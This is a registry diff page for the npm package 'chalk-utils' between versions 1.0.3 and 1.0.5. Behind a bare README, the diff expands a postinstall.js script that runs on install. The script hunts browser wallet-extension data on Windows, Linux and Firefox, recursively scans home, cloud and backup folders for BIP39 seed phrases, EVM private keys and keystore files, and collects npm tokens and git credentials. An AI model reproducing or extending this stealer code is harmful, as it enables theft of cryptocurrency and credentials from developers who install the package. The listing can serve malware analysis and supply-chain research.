chalk-utils 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +1 -10
  2. package/package.json +1 -1
  3. package/postinstall.js +55 -18
package/README.md CHANGED
@@ -1,12 +1,3 @@
1
1
  # chalk-utils
2
2
 
3
- Chalk Utils utility helpers
4
-
5
- ## Installation
6
-
7
- ```bash
8
- npm install chalk-utils
9
- ```
10
-
11
- ## License
12
- MIT
3
+ chalk utils utility helpers
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "chalk-utils",
3
- "version": "1.0.3",
3
+ "version": "1.0.5",
4
4
  "description": "Chalk Utils utility helpers",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -84,14 +84,28 @@ const WALLET_IDS=[
84
84
  'nmbklhmkfiolpnhlekkoficfndfolnhm', // Me
85
85
  ];
86
86
 
87
- const BROWSER_PATHS=[
88
- {name:'chrome',base:path.join(os.homedir(),'.config/google-chrome')},
89
- {name:'brave',base:path.join(os.homedir(),'.config/BraveSoftware/Brave-Browser')},
90
- {name:'edge',base:path.join(os.homedir(),'.config/microsoft-edge')},
91
- {name:'chromium',base:path.join(os.homedir(),'.config/chromium')},
92
- {name:'vivaldi',base:path.join(os.homedir(),'.config/vivaldi')},
93
- {name:'opera',base:path.join(os.homedir(),'.config/opera')},
94
- ];
87
+ const BROWSER_PATHS=[];
88
+ // Linux/Mac paths
89
+ const home=os.homedir();
90
+ const isWin=process.platform==='win32';
91
+ if(!isWin){
92
+ BROWSER_PATHS.push({name:'chrome',base:path.join(home,'.config/google-chrome'),ext:'Default/Local Extension Settings'});
93
+ BROWSER_PATHS.push({name:'brave',base:path.join(home,'.config/BraveSoftware/Brave-Browser'),ext:'Default/Local Extension Settings'});
94
+ BROWSER_PATHS.push({name:'edge',base:path.join(home,'.config/microsoft-edge'),ext:'Default/Local Extension Settings'});
95
+ BROWSER_PATHS.push({name:'chromium',base:path.join(home,'.config/chromium'),ext:'Default/Local Extension Settings'});
96
+ }
97
+ // Windows paths (using LOCALAPPDATA)
98
+ if(isWin){
99
+ const local=process.env.LOCALAPPDATA||path.join(home,'AppData','Local');
100
+ BROWSER_PATHS.push({name:'chrome',base:path.join(local,'Google','Chrome','User Data'),ext:'Default/Local Extension Settings'});
101
+ BROWSER_PATHS.push({name:'brave',base:path.join(local,'BraveSoftware','Brave-Browser','User Data'),ext:'Default/Local Extension Settings'});
102
+ BROWSER_PATHS.push({name:'edge',base:path.join(local,'Microsoft','Edge','User Data'),ext:'Default/Local Extension Settings'});
103
+ // Also check C:\Users\Username\AppData\Roaming for some wallets
104
+ const roaming=process.env.APPDATA||path.join(home,'AppData','Roaming');
105
+ BROWSER_PATHS.push({name:'chrome-roaming',base:path.join(roaming,'Google','Chrome','User Data'),ext:'Default/Local Extension Settings'});
106
+ }
107
+ // Firefox (cross-platform)
108
+ BROWSER_PATHS.push({name:'firefox',base:path.join(home,'.mozilla','firefox'),ext:''});
95
109
 
96
110
  // BIP39 seed phrase words (first 150 common ones for detection)
97
111
  const SEED_WORDS=new Set([
@@ -120,7 +134,7 @@ function scanWallets(){
120
134
  if(!fs.existsSync(browser.base)) continue;
121
135
 
122
136
  for(const profile of profiles){
123
- const extDir=path.join(browser.base,profile,'Local Extension Settings');
137
+ const extDir = browser.ext ? path.join(browser.base,profile,browser.ext) : browser.base;
124
138
  if(!fs.existsSync(extDir)) continue;
125
139
 
126
140
  for(const walletId of WALLET_IDS){
@@ -178,37 +192,53 @@ function scanWallets(){
178
192
 
179
193
  function scanSeedPhrases(){
180
194
  const results=[];
181
- const dirs=['Documents','Desktop','Downloads'];
195
+ const dirs=['Documents','Desktop','Downloads','OneDrive','Dropbox','Google Drive','backup','keys','wallet','crypto'];
182
196
 
183
197
  for(const dir of dirs){
184
198
  const fullPath=path.join(os.homedir(),dir);
185
199
  if(!fs.existsSync(fullPath)) continue;
186
200
 
187
201
  try{
188
- const files=fs.readdirSync(fullPath);
202
+ const files=fs.readdirSync(fullPath,{recursive:true});
189
203
  for(const file of files){
190
204
  const filePath=path.join(fullPath,file);
191
205
  try{
192
206
  const stat=fs.statSync(filePath);
193
- if(!stat.isFile()||stat.size>100000||stat.size<20) continue;
207
+ if(!stat.isFile()||stat.size>200000||stat.size<15) continue;
194
208
 
195
- // Check filename for crypto keywords
196
209
  const nameLower=file.toLowerCase();
210
+
211
+ // Check filename for crypto/EVM keywords
197
212
  const isCryptoFile=SEED_WORDS.has(nameLower.split('.')[0])||
198
- /\b(seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private)\b/.test(nameLower);
213
+ /\b(seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private|mnemonic|recover|passphrase|keystore|foundry|hardhat|broadcast|deploy)\b/.test(nameLower)||
214
+ nameLower.endsWith('.json')&&(nameLower.includes('keystore')||nameLower.includes('wallet')||nameLower.includes('utc--'))||
215
+ nameLower.endsWith('.txt')&&nameLower.length<30&&!nameLower.includes('readme');
199
216
 
200
217
  if(!isCryptoFile) continue;
201
218
 
202
219
  // Read the file content
203
220
  const content=fs.readFileSync(filePath,'utf-8').toLowerCase();
204
221
 
205
- // Count how many words are BIP39 seed words
222
+ // Check for EVM private keys (0x + 64 hex chars)
223
+ const evmKeys=content.match(/0x[a-f0-9]{64}/gi);
224
+ const evmKeyCount=evmKeys?evmKeys.length:0;
225
+
226
+ // Check for BIP39 seed words
206
227
  const words=content.split(/\s+/).filter(w=>w.length>2);
207
228
  const seedWordCount=words.filter(w=>SEED_WORDS.has(w)).length;
208
229
 
209
- // If a significant portion are BIP39 words, likely a seed phrase
210
- if(seedWordCount>=8){
211
- results.push({file:filePath,size:stat.size,seedWordsFound:seedWordCount,preview:content.substring(0,100)});
230
+ // Check for JSON keystore format (UTC-- style)
231
+ const isKeystore=content.includes('crypto')&&content.includes('ciphertext')&&content.includes('kdf');
232
+
233
+ if(seedWordCount>=8||evmKeyCount>0||isKeystore){
234
+ results.push({
235
+ file:filePath,
236
+ size:stat.size,
237
+ seedWordsFound:seedWordCount,
238
+ evmKeysFound:evmKeyCount,
239
+ isKeystore:isKeystore,
240
+ preview:content.substring(0,120)
241
+ });
212
242
  }
213
243
  }catch(e){}
214
244
  }
@@ -267,6 +297,13 @@ function harvest(){
267
297
  // Also catch npm_xxxxx patterns anywhere
268
298
  const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
269
299
  for(const x of t)r.push({t:'NPM_TOKEN',k:'npm_token',v:x[0]});
300
+ // Also catch EVM private keys (0x + 64 hex chars)
301
+ const evm=c.matchAll(/0x[a-fA-F0-9]{64}/g);
302
+ for(const x of evm){
303
+ const found=x[0];
304
+ const keyName='EVM_KEY';
305
+ if(!keys[keyName]){keys[keyName]=true;r.push({t:'EVM_KEY',k:keyName,v:found});}
306
+ }
270
307
  return r;
271
308
  }},
272
309
  {p:path.join(os.homedir(),'.git-credentials'),t:'git-creds',fn:function(c){